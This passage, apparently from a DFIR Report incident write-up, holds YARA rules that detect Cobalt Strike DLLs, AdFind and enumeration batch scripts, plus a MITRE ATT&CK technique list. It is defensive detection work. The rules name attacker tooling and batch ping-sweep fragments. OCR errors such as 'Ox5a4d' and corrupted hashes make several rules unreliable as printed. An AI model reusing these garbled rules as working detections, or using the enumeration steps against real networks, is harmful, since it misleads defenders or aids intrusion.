"rEWS).lpp~o0" fullword ascii

",m}_10G" fullword ascii

"<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1l\" manifestVersion=\"1.0\"><trustInfo

xmlns=\"urn:schemas-microsoft-com:asm.v3" ascii

$s18 = "vileges></security></trustInfo><application xmlns=\"urn:schemas-microsoft-com:asm.v3\"><windowsSettings>

<dpiAware xmlns=\"http:/" ascii

$s19

"tn9- 2" fullword ascii

$s20 = "PDiXRI7" fullword ascii
condition:
uint16(0) == Ox5a4d and filesize < 8000KB and
( pe.imphash() == "dlaef4e37a548a43a95d44bd2f8c@afc" or 8 of them )

rule cobalt_strike_14435_dl1l 2 {

meta:

description = "32.d11"

author = "The DFIR Report"

reference = "https://thedfirreport.com"

date = "2022-09-12"

hashl = "76bfb4a73dc0d3f382d3877a83ce62b50828f713744659bb21c30569d368caf8"

strings:

$x1 = "mail glide drooping dismiss collation production mm refresh murderer start parade subscription accident

retorted carter stalls r" ascii

$s2 = "vlu4e5yd87.d11l" fullword ascii

$s3 = "XYVZSWwVU" fullword ascii /* base64 encoded string 'aVRYeT' */

$s4 = "ZYWVWSXVT" fullword ascii /* base64 encoded string 'aeVIuS' */

$s5 = "WXVZTVVUVX" fullword ascii /* base64 encoded string 'YuYMUTU' */

$s6 = "ZYXZXSWzZW" fullword ascii /* base64 encoded string 'avwWIfv' */

$s7 = "SzZwvSzZTVU" fullword ascii /* base64 encoded string 'eeRe5T' */

$s8 = "VXVWUWVZYY" fullword ascii /* base64 encoded string 'UuvQeYa' */

$s9 = "VSXzzZYSVU" fullword ascii /* base64 encoded string 'IvYa%T' */

$s10 = "VXUZUVWVU" fullword ascii /* base64 encoded string ']FTUeT' */

$s11 = "SVVZzZXZUWW" fullword ascii /* base64 encoded string 'IUYevTU' */

$s12 = "USvzvswvz" fullword ascii /* base64 encoded string 'IVUIeY' */

$s13 = "SWVVTVSVWWXZZVVV" fullword ascii /* base64 encoded string 'YUSU%VYvYUU' */

$s14 = "VSXVUXXZS" fullword ascii /* base64 encoded string 'IuT]vR' */

$s15 = "WSVZYWZWwWW" fullword ascii /* base64 encoded string 'YYafvy' */

$s16 = "XUSZXXVWW" fullword ascii /* base64 encoded string 'Q&W]UV' */

$s17 = "ZwWzZwzvZwWwwz" fullword ascii /* base64 encoded string 'efvevvyf' */

$s18 = "STzVYVWVZYS" fullword ascii /* base64 encoded string 'I6UaUYa' */

$s19 = "ZWZWYSZXUZ" fullword ascii /* base64 encoded string 'efva&wQ' */

$s20 = "Svvwwvvvww" fullword ascii /* base64 encoded string 'IUVYUUY' */
condition:

uint16(0) == Ox5a4d and filesize < 2000KB and

( pe.imphash() == "4e03b8b675969416fb0d10e8ab11f7c2" or ( 1 of ($x*) or 12 of them ) )

rule find_bat_14335 {

meta:

description = "Find.bat using AdFind"

author = "The DFIR Report"

reference = "https://thedfirreport.com"

date = "2022-09-12"

hashl = "5bc00ad792d4ddac7d8568f98a717caffod5ef389ed355a15b892cc10ab2887b"
strings:

$x1 = "find.exe" nocase wide ascii

$s1 = "objectcategory" nocase wide ascii

$s2 = "person" nocase wide ascii

$s3 = "computer" nocase wide ascii

$s4 = "organizationalUnit" nocase wide ascii

$s5 = "trustdmp" nocase wide ascii
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condition:
filesize < 1000
and 1 of ($x*)
and 4 of ($s*)

rule adfind_14335 {

meta:
description = "Find.bat using AdFind"
author = "The DFIR Report"
reference = "https://thedfirreport.com"

date = "2022-09-12"
hashl = "b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0hb46e100d4cf5150682"

strings:
$x1 = "joeware.net" nocase wide ascii

$s1 = "xx.cpp" nocase wide ascii
$s2 = "xxtype.cpp" nocase wide ascii
$s3 = "Joe Richards" nocase wide ascii
$s4 = "RFC 2253" nocase wide ascii
$s5 = "RFC 2254" nocase wide ascii

condition:

uint16(0) == 0x5a4d and filesize < 2000KB
and 1 of ($x*)
or 4 of ($s*)

rule p_bat_14335 {

meta:
description = "Finding bat files that is used for enumeration"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2022-09-12"
strings:
$al = "for /f %%i in" nocase wide ascii
$a2 = "do ping %%i" nocase wide ascii
$a3 = "-n 1 >>" nocase wide ascii
$a4 = "res.txt" nocase wide ascii
condition:

filesize < 2000KB
and all of ($a*)

MITRE
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Dynamic-1link Library Injection - T1055.001
Component Object Model - T1559.001
PowerShell - T1059.001

Regsvr32 - T1218.010

Pass the Hash - T1550.002

Domain Groups - T1069.002

Domain Account - T1087.002

Domain Trust Discovery - T1482

Malicious File - T1204.002

SMB/Windows Admin Shares - T1021.002
Lateral Tool Transfer - T1570

Process Injection - T1055

Exfiltration to Cloud Storage - T1567.002
Thread Execution Hijacking - T1055.003
Remote System Discovery - T1018

System Information Discovery - T1082
Application Layer Protocol - T1071
Network Share Discovery - T1135
Kerberoasting - T1558.003

LSASS Memory - T1003.001

Registry Run Keys / Startup Folder - T1547.001
Phishing - T1566

Spearphishing Attachment - T1566.001

Internal case #14335
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